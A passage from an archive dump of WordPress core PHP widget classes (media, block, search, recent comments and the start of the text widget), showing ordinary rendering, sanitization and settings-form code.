/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ); if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } /** * Filters the media widget instance prior to rendering the media. * * @since 4.8.0 * * @param array $instance Instance data. * @param array $args Widget args. * @param WP_Widget_Media $widget Widget object. */ $instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this ); $this->render_media( $instance ); echo $args['after_widget']; } /** * Sanitizes the widget form values as they are saved. * * @since 4.8.0 * @since 5.9.0 Renamed `$instance` to `$old_instance` to match parent class * for PHP 8 named parameter support. * * @see WP_Widget::update() * @see WP_REST_Request::has_valid_params() * @see WP_REST_Request::sanitize_params() * * @param array $new_instance Values just sent to be saved. * @param array $old_instance Previously saved values from database. * @return array Updated safe values to be saved. */ public function update( $new_instance, $old_instance ) { $schema = $this->get_instance_schema(); foreach ( $schema as $field => $field_schema ) { if ( ! array_key_exists( $field, $new_instance ) ) { continue; } $value = $new_instance[ $field ]; /* * Workaround for rest_validate_value_from_schema() due to the fact that * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true. */ if ( 'boolean' === $field_schema['type'] && '' === $value ) { $value = false; } if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) { continue; } $value = rest_sanitize_value_from_schema( $value, $field_schema ); // @codeCoverageIgnoreStart if ( is_wp_error( $value ) ) { continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates. } // @codeCoverageIgnoreEnd if ( isset( $field_schema['sanitize_callback'] ) ) { $value = call_user_func( $field_schema['sanitize_callback'], $value ); } if ( is_wp_error( $value ) ) { continue; } $old_instance[ $field ] = $value; } return $old_instance; } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ abstract public function render_media( $instance ); /** * Outputs the settings update form. * * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`. * * @since 4.8.0 * * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located. * * @param array $instance Current settings. */ final public function form( $instance ) { $instance_schema = $this->get_instance_schema(); $instance = wp_array_slice_assoc( wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ), array_keys( $instance_schema ) ); foreach ( $instance as $name => $value ) : ?> <input type="hidden" data-property="<?php echo esc_attr( $name ); ?>" class="media-widget-instance-property" name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>" value="<?php echo esc_attr( is_array( $value ) ? implode( ',', $value ) : (string) $value ); ?>" /> <?php endforeach; } /** * Filters the default media display states for items in the Media list table. * * @since 4.8.0 * * @param array $states An array of media states. * @param WP_Post $post The current attachment object. * @return array */ public function display_media_state( $states, $post = null ) { if ( ! $post ) { $post = get_post(); } // Count how many times this attachment is used in widgets. $use_count = 0; foreach ( $this->get_settings() as $instance ) { if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) { ++$use_count; } } if ( 1 === $use_count ) { $states[] = $this->l10n['media_library_state_single']; } elseif ( $use_count > 0 ) { $states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) ); } return $states; } /** * Enqueue preview scripts. * * These scripts normally are enqueued just-in-time when a widget is rendered. * In the customizer, however, widgets can be dynamically added and rendered via * selective refresh, and so it is important to unconditionally enqueue them in * case a widget does get added. * * @since 4.8.0 */ public function enqueue_preview_scripts() {} /** * Loads the required scripts and styles for the widget control. * * @since 4.8.0 */ public function enqueue_admin_scripts() { wp_enqueue_media(); wp_enqueue_script( 'media-widgets' ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { ?> <script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control"> <# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #> <p> <label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label> <input id="{{ elementIdPrefix }}title" type="text" class="widefat title"> </p> <div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>"> <div class="attachment-media-view"> <button type="button" class="select-media button-add-media not-selected"> <?php echo esc_html( $this->l10n['add_media'] ); ?> </button> </div> </div> <p class="media-widget-buttons"> <button type="button" class="button edit-media selected"> <?php echo esc_html( $this->l10n['edit_media'] ); ?> </button> <?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?> <button type="button" class="button change-media select-media selected"> <?php echo esc_html( $this->l10n['replace_media'] ); ?> </button> <?php endif; ?> </p> <div class="media-widget-fields"> </div> </script> <?php } /** * Resets the cache for the default labels. * * @since 6.0.0 */ public static function reset_default_labels() { self::$default_description = ''; self::$l10n_defaults = array(); } /** * Whether the widget has content to show. * * @since 4.8.0 * * @param array $instance Widget instance props. * @return bool Whether widget has content. */ protected function has_content( $instance ) { return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url']; } /** * Returns the default description of the widget. * * @since 6.0.0 * * @return string */ protected static function get_default_description() { if ( self::$default_description ) { return self::$default_description; } self::$default_description = __( 'A media item.' ); return self::$default_description; } /** * Returns the default localized strings used by the widget. * * @since 6.0.0 * * @return (string|array)[] */ protected static function get_l10n_defaults() { if ( ! empty( self::$l10n_defaults ) ) { return self::$l10n_defaults; } self::$l10n_defaults = array( 'no_media_selected' => __( 'No media selected' ), 'add_media' => _x( 'Add Media', 'label for button in the media widget' ), 'replace_media' => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ), 'add_to_widget' => __( 'Add to Widget' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That file cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ), 'media_library_state_single' => __( 'Media Widget' ), 'unsupported_file_type' => __( 'Looks like this is not the correct kind of file. Please link to an appropriate file instead.' ), ); return self::$l10n_defaults; } } class-wp-widget-block.php 0000644 00000014635 15151224053 0011366 0 ustar 00 <?php /** * Widget API: WP_Widget_Block class * * @package WordPress * @subpackage Widgets * @since 5.8.0 */ /** * Core class used to implement a Block widget. * * @since 5.8.0 * * @see WP_Widget */ class WP_Widget_Block extends WP_Widget { /** * Default instance. * * @since 5.8.0 * @var array */ protected $default_instance = array( 'content' => '', ); /** * Sets up a new Block widget instance. * * @since 5.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_block', 'description' => __( 'A widget containing a block.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'block', __( 'Block' ), $widget_ops, $control_ops ); add_filter( 'is_wide_widget_in_customizer', array( $this, 'set_is_wide_widget_in_customizer' ), 10, 2 ); } /** * Outputs the content for the current Block widget instance. * * @since 5.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Block widget instance. */ public function widget( $args, $instance ) { $instance = wp_parse_args( $instance, $this->default_instance ); echo str_replace( 'widget_block', $this->get_dynamic_classname( $instance['content'] ), $args['before_widget'] ); /** * Filters the content of the Block widget before output. * * @since 5.8.0 * * @param string $content The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Block $widget Current Block widget instance. */ echo apply_filters( 'widget_block_content', $instance['content'], $instance, $this ); echo $args['after_widget']; } /** * Calculates the classname to use in the block widget's container HTML. * * Usually this is set to `$this->widget_options['classname']` by * dynamic_sidebar(). In this case, however, we want to set the classname * dynamically depending on the block contained by this block widget. * * If a block widget contains a block that has an equivalent legacy widget, * we display that legacy widget's class name. This helps with theme * backwards compatibility. * * @since 5.8.0 * * @param string $content The HTML content of the current block widget. * @return string The classname to use in the block widget's container HTML. */ private function get_dynamic_classname( $content ) { $blocks = parse_blocks( $content ); $block_name = isset( $blocks[0] ) ? $blocks[0]['blockName'] : null; switch ( $block_name ) { case 'core/paragraph': $classname = 'widget_block widget_text'; break; case 'core/calendar': $classname = 'widget_block widget_calendar'; break; case 'core/search': $classname = 'widget_block widget_search'; break; case 'core/html': $classname = 'widget_block widget_custom_html'; break; case 'core/archives': $classname = 'widget_block widget_archive'; break; case 'core/latest-posts': $classname = 'widget_block widget_recent_entries'; break; case 'core/latest-comments': $classname = 'widget_block widget_recent_comments'; break; case 'core/tag-cloud': $classname = 'widget_block widget_tag_cloud'; break; case 'core/categories': $classname = 'widget_block widget_categories'; break; case 'core/audio': $classname = 'widget_block widget_media_audio'; break; case 'core/video': $classname = 'widget_block widget_media_video'; break; case 'core/image': $classname = 'widget_block widget_media_image'; break; case 'core/gallery': $classname = 'widget_block widget_media_gallery'; break; case 'core/rss': $classname = 'widget_block widget_rss'; break; default: $classname = 'widget_block'; } /** * The classname used in the block widget's container HTML. * * This can be set according to the name of the block contained by the block widget. * * @since 5.8.0 * * @param string $classname The classname to be used in the block widget's container HTML, * e.g. 'widget_block widget_text'. * @param string $block_name The name of the block contained by the block widget, * e.g. 'core/paragraph'. */ return apply_filters( 'widget_block_dynamic_classname', $classname, $block_name ); } /** * Handles updating settings for the current Block widget instance. * * @since 5.8.0 * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array_merge( $this->default_instance, $old_instance ); if ( current_user_can( 'unfiltered_html' ) ) { $instance['content'] = $new_instance['content']; } else { $instance['content'] = wp_kses_post( $new_instance['content'] ); } return $instance; } /** * Outputs the Block widget settings form. * * @since 5.8.0 * * @see WP_Widget_Custom_HTML::render_control_template_scripts() * * @param array $instance Current instance. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->default_instance ); ?> <p> <label for="<?php echo $this->get_field_id( 'content' ); ?>"> <?php /* translators: HTML code of the block, not an option that blocks HTML. */ _e( 'Block HTML:' ); ?> </label> <textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" rows="6" cols="50" class="widefat code"><?php echo esc_textarea( $instance['content'] ); ?></textarea> </p> <?php } /** * Makes sure no block widget is considered to be wide. * * @since 5.8.0 * * @param bool $is_wide Whether the widget is considered wide. * @param string $widget_id Widget ID. * @return bool Updated `is_wide` value. */ public function set_is_wide_widget_in_customizer( $is_wide, $widget_id ) { if ( str_starts_with( $widget_id, 'block-' ) ) { return false; } return $is_wide; } } class-wp-widget-search.php 0000644 00000005244 15151224060 0011533 0 ustar 00 <?php /** * Widget API: WP_Widget_Search class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Search widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Search extends WP_Widget { /** * Sets up a new Search widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_search', 'description' => __( 'A search form for your site.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops ); } /** * Outputs the content for the current Search widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Search widget instance. */ public function widget( $args, $instance ) { $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } // Use active theme search form if it exists. get_search_form(); echo $args['after_widget']; } /** * Outputs the settings form for the Search widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); $title = $instance['title']; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /> </p> <?php } /** * Handles updating settings for the current Search widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '' ) ); $instance['title'] = sanitize_text_field( $new_instance['title'] ); return $instance; } } class-wp-widget-recent-comments.php 0000644 00000015624 15151224066 0013402 0 ustar 00 <?php /** * Widget API: WP_Widget_Recent_Comments class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Recent Comments widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Recent_Comments extends WP_Widget { /** * Sets up a new Recent Comments widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_recent_comments', 'description' => __( 'Your site’s most recent comments.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops ); $this->alt_option_name = 'widget_recent_comments'; if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) { add_action( 'wp_head', array( $this, 'recent_comments_style' ) ); } } /** * Outputs the default styles for the Recent Comments widget. * * @since 2.8.0 */ public function recent_comments_style() { /** * Filters the Recent Comments default widget styles. * * @since 3.1.0 * * @param bool $active Whether the widget is active. Default true. * @param string $id_base The widget ID. */ if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876. || ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) ) { return; } $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; printf( '<style%s>.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>', $type_attr ); } /** * Outputs the content for the current Recent Comments widget instance. * * @since 2.8.0 * @since 5.4.0 Creates a unique HTML ID for the `<ul>` element * if more than one instance is displayed on the page. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Recent Comments widget instance. */ public function widget( $args, $instance ) { static $first_instance = true; if ( ! isset( $args['widget_id'] ) ) { $args['widget_id'] = $this->id; } $output = ''; $default_title = __( 'Recent Comments' ); $title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5; if ( ! $number ) { $number = 5; } $comments = get_comments( /** * Filters the arguments for the Recent Comments widget. * * @since 3.4.0 * @since 4.9.0 Added the `$instance` parameter. * * @see WP_Comment_Query::query() for information on accepted arguments. * * @param array $comment_args An array of arguments used to retrieve the recent comments. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_comments_args', array( 'number' => $number, 'status' => 'approve', 'post_status' => 'publish', ), $instance ) ); $output .= $args['before_widget']; if ( $title ) { $output .= $args['before_title'] . $title . $args['after_title']; } $recent_comments_id = ( $first_instance ) ? 'recentcomments' : "recentcomments-{$this->number}"; $first_instance = false; $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; $output .= '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } $output .= '<ul id="' . esc_attr( $recent_comments_id ) . '">'; if ( is_array( $comments ) && $comments ) { // Prime cache for associated posts. (Prime post term cache if we need it for permalinks.) $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( (array) $comments as $comment ) { $output .= '<li class="recentcomments">'; $output .= sprintf( /* translators: Comments widget. 1: Comment author, 2: Post link. */ _x( '%1$s on %2$s', 'widgets' ), '<span class="comment-author-link">' . get_comment_author_link( $comment ) . '</span>', '<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>' ); $output .= '</li>'; } } $output .= '</ul>'; if ( 'html5' === $format ) { $output .= '</nav>'; } $output .= $args['after_widget']; echo $output; } /** * Handles updating settings for the current Recent Comments widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['number'] = absint( $new_instance['number'] ); return $instance; } /** * Outputs the settings form for the Recent Comments widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = isset( $instance['title'] ) ? $instance['title'] : ''; $number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /> </p> <p> <label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label> <input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" /> </p> <?php } /** * Flushes the Recent Comments widget cache. * * @since 2.8.0 * * @deprecated 4.4.0 Fragment caching was removed in favor of split queries. */ public function flush_widget_cache() { _deprecated_function( __METHOD__, '4.4.0' ); } } class-wp-widget-text.php 0000644 00000051546 15151224073 0011264 0 ustar 00 <?php /** * Widget API: WP_Widget_Text class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Text widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Text extends WP_Widget { /** * Whether or not the widget has been registered yet. * * @since 4.8.1 * @var bool */ protected $registered = false; /** * Sets up a new Text widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_text', 'description' => __( 'Arbitrary text.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'text', __( 'Text' ), $widget_ops, $control_ops ); } /** * Adds hooks for enqueueing assets when registering all widget instances of this widget class. * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; if ( $this->is_preview() ) { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Text', 'render_control_template_scripts' ) ); } /** * Determines whether a given instance is legacy and should bypass using TinyMCE. * * @since 4.8.1 * * @param array $instance { * Instance data. * * @type string $text Content. * @type bool|string $filter Whether autop or content filters should apply. * @type bool $legacy Whether widget is in legacy mode. * } * @return bool Whether Text widget instance contains legacy data. */ public function is_legacy_instance( $instance ) { // Legacy mode when not in visual mode. if ( isset( $instance['visual'] ) ) { return ! $instance['visual']; } // Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy. if ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ) { return false; } // If the text is empty, then nothing is preventing migration to TinyMCE. if ( empty( $instance['text'] ) ) { return false; } $wpautop = ! empty( $instance['filter'] ); $has_line_breaks = ( str_contains( trim( $instance['text'] ), "\n" ) ); // If auto-paragraphs are not enabled and there are line breaks, then ensure legacy mode. if ( ! $wpautop && $has_line_breaks ) { return true; } // If an HTML comment is present, assume legacy mode. if ( str_contains( $instance['text'], '<!--' ) ) { return true; } // In the rare case that DOMDocument is not available we cannot reliably sniff content and so we assume legacy. if ( ! class_exists( 'DOMDocument' ) ) { // @codeCoverageIgnoreStart return true; // @codeCoverageIgnoreEnd } $doc = new DOMDocument(); // Suppress warnings generated by loadHTML. $errors = libxml_use_internal_errors( true ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged @$doc->loadHTML( sprintf( '<!DOCTYPE html><html><head><meta charset="%s"></head><body>%s</body></html>', esc_attr( get_bloginfo( 'charset' ) ), $instance['text'] ) ); libxml_use_internal_errors( $errors ); $body = $doc->getElementsByTagName( 'body' )->item( 0 ); // See $allowedposttags. $safe_elements_attributes = array( 'strong' => array(), 'em' => array(), 'b' => array(), 'i' => array(), 'u' => array(), 's' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'hr' => array(), 'abbr' => array(), 'acronym' => array(), 'code' => array(), 'dfn' => array(), 'a' => array( 'href' => true, ), 'img' => array( 'src' => true, 'alt' => true, ), ); $safe_empty_elements = array( 'img', 'hr', 'iframe' ); foreach ( $body->getElementsByTagName( '*' ) as $element ) { /** @var DOMElement $element */ $tag_name = strtolower( $element->nodeName ); // If the element is not safe, then the instance is legacy. if ( ! isset( $safe_elements_attributes[ $tag_name ] ) ) { return true; } // If the element is not safely empty and it has empty contents, then legacy mode. if ( ! in_array( $tag_name, $safe_empty_elements, true ) && '' === trim( $element->textContent ) ) { return true; } // If an attribute is not recognized as safe, then the instance is legacy. foreach ( $element->attributes as $attribute ) { /** @var DOMAttr $attribute */ $attribute_name = strtolower( $attribute->nodeName ); if ( ! isset( $safe_elements_attributes[ $tag_name ][ $attribute_name ] ) ) { return true; } } } // Otherwise, the text contains no elements/attributes that TinyMCE could drop, and therefore the widget does not need legacy mode. return false; } /** * Filters gallery shortcode attributes. * * Prevents all of a site's attachments from being shown in a gallery displayed on a * non-singular template where a $post context is not available. * * @since 4.9.0 * * @param array $attrs Attributes. * @return array Attributes. */ public function _filter_gallery_shortcode_attrs( $attrs ) { if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) { $attrs['id'] = -1; } return $attrs; } /** * Outputs the content for the current Text widget instance. * * @since 2.8.0 * * @global WP_Post $post Global post object. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Text widget instance. */ public function widget( $args, $instance ) { global $post; $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $text = ! empty( $instance['text'] ) ? $instance['text'] : ''; $is_visual_text_widget = ( ! empty( $instance['visual'] ) && ! empty( $instance['filter'] ) ); // In 4.8.0 only, visual Text widgets get filter=content, without visual prop; upgrade instance props just-in-time. if ( ! $is_visual_text_widget ) { $is_visual_text_widget = ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ); } if ( $is_visual_text_widget ) { $instance['filter'] = true; $instance['visual'] = true; } /* * Suspend legacy plugin-supplied do_shortcode() for 'widget_text' filter for the visual Text widget to prevent * shortcodes being processed twice. Now do_shortcode() is added to the 'widget_text_content' filter in core itself * and it applies after wpautop() to prevent corrupting HTML output added by the shortcode. When do_shortcode() is * added to 'widget_text_content' then do_shortcode() will be manually called when in legacy mode as well. */ $widget_text_do_shortcode_priority = has_filter( 'widget_text', 'do_shortcode' ); $should_suspend_legacy_shortcode_support = ( $is_visual_text_widget && false !== $widget_text_do_shortcode_priority ); if ( $should_suspend_legacy_shortcode_support ) { remove_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority ); } // Override global $post so filters (and shortcodes) apply in a consistent context. $original_post = $post; if ( is_singular() ) { // Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post). $post = get_queried_object(); } else { // Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries. $post = null; } // Prevent dumping out all attachments from the media library. add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); /** * Filters the content of the Text widget. * * @since 2.3.0 * @since 4.4.0 Added the `$widget` parameter. * @since 4.8.1 The `$widget` param may now be a `WP_Widget_Custom_HTML` object in addition to a `WP_Widget_Text` object. * * @param string $text The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Text|WP_Widget_Custom_HTML $widget Current text or HTML widget instance. */ $text = apply_filters( 'widget_text', $text, $instance, $this ); if ( $is_visual_text_widget ) { /** * Filters the content of the Text widget to apply changes expected from the visual (TinyMCE) editor. * * By default a subset of the_content filters are applied, including wpautop and wptexturize. * * @since 4.8.0 * * @param string $text The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Text $widget Current Text widget instance. */ $text = apply_filters( 'widget_text_content', $text, $instance, $this ); } else { // Now in legacy mode, add paragraphs and line breaks when checkbox is checked. if ( ! empty( $instance['filter'] ) ) { $text = wpautop( $text ); } /* * Manually do shortcodes on the content when the core-added filter is present. It is added by default * in core by adding do_shortcode() to the 'widget_text_content' filter to apply after wpautop(). * Since the legacy Text widget runs wpautop() after 'widget_text' filters are applied, the widget in * legacy mode here manually applies do_shortcode() on the content unless the default * core filter for 'widget_text_content' has been removed, or if do_shortcode() has already * been applied via a plugin adding do_shortcode() to 'widget_text' filters. */ if ( has_filter( 'widget_text_content', 'do_shortcode' ) && ! $widget_text_do_shortcode_priority ) { if ( ! empty( $instance['filter'] ) ) { $text = shortcode_unautop( $text ); } $text = do_shortcode( $text ); } } // Restore post global. $post = $original_post; remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); // Undo suspension of legacy plugin-supplied shortcode handling. if ( $should_suspend_legacy_shortcode_support ) { add_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority ); } echo $args['before_widget']; if ( ! empty( $title ) ) { echo $args['before_title'] . $title . $args['after_title']; } $text = preg_replace_callback( '#<(video|iframe|object|embed)\s[^>]*>#i', array( $this, 'inject_video_max_width_style' ), $text ); ?> <div class="textwidget"><?php echo $text; ?></div> <?php echo $args['after_widget']; } /** * Injects max-width and removes height for videos too constrained to fit inside sidebars on frontend. * * @since 4.9.0 * * @see WP_Widget_Media_Video::inject_video_max_width_style() * * @param array $matches Pattern matches from preg_replace_callback. * @return string HTML Output. */ public function inject_video_max_width_style( $matches ) { $html = $matches[0]; $html = preg_replace( '/\sheight="\d+"/', '', $html ); $html = preg_replace( '/\swidth="\d+"/', '', $html ); $html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html ); return $html; } /** * Handles updating settings for the current Text widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $new_instance = wp_parse_args( $new_instance, array( 'title' => '', 'text' => '', 'filter' => false, // For back-compat. 'visual' => null, // Must be explicitly defined. ) ); $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); if ( current_user_can( 'unfiltered_html' ) ) { $instance['text'] = $new_instance['text']; } else { $instance['text'] = wp_kses_post( $new_instance['text'] ); } $instance['filter'] = ! empty( $new_instance['filter'] ); // Upgrade 4.8.0 format. if ( isset( $old_instance['filter'] ) && 'content' === $old_instance['filter'] ) { $instance['visual'] = true; } if ( 'content' === $new_instance['filter'] ) { $instance['visual'] = true; } if ( isset( $new_instance['visual'] ) ) { $instance['visual'] = ! empty( $new_instance['visual'] ); } // Filter is always true in visual mode. if ( ! empty( $instance['visual'] ) ) { $instance['filter'] = true; } return $instance; } /** * Enqueues preview scripts. * * These scripts normally are enqueued just-in-time when a playlist shortcode is used. * However, in the customizer, a playlist shortcode may be used in a text widget and * dynamically added via selective refresh, so it is important to unconditionally enqueue them. * * @since 4.9.3 */ public function enqueue_preview_scripts() { require_once dirname( __DIR__ ) . '/media.php'; wp_playlist_scripts( 'audio' ); wp_playlist_scripts( 'video' ); } /** * Loads the required scripts and styles for the widget control. * * @since 4.8.0 */ public function enqueue_admin_scripts() { wp_enqueue_editor(); wp_enqueue_media(); wp_enqueue_script( 'text-widgets' ); wp_add_inline_script( 'text-widgets', sprintf( 'wp.textWidgets.idBases.push( %s );', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( 'text-widgets', 'wp.textWidgets.init();', 'after' ); } /** * Outputs the Text widget settings form. * * @since 2.8.0 * @since 4.8.0 Form only contains hidden inputs which are synced with JS template. * @since 4.8.1 Restored original form to be displayed when in legacy mode. * * @see WP_Widget_Text::render_control_template_scripts() * @see _WP_Editors::editor() * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'text' => '', ) ); ?> <?php if ( ! $this->is_legacy_instance( $instance ) ) : ?> <?php if ( user_can_richedit() ) { add_filter( 'the_editor_content', 'format_for_editor', 10, 2 ); $default_editor = 'tinymce'; } else { $default_editor = 'html'; } /** This filter is documented in wp-includes/class-wp-editor.php */ $text = apply_filters( 'the_editor_content', $instance['text'], $default_editor ); // Reset filter addition. if ( 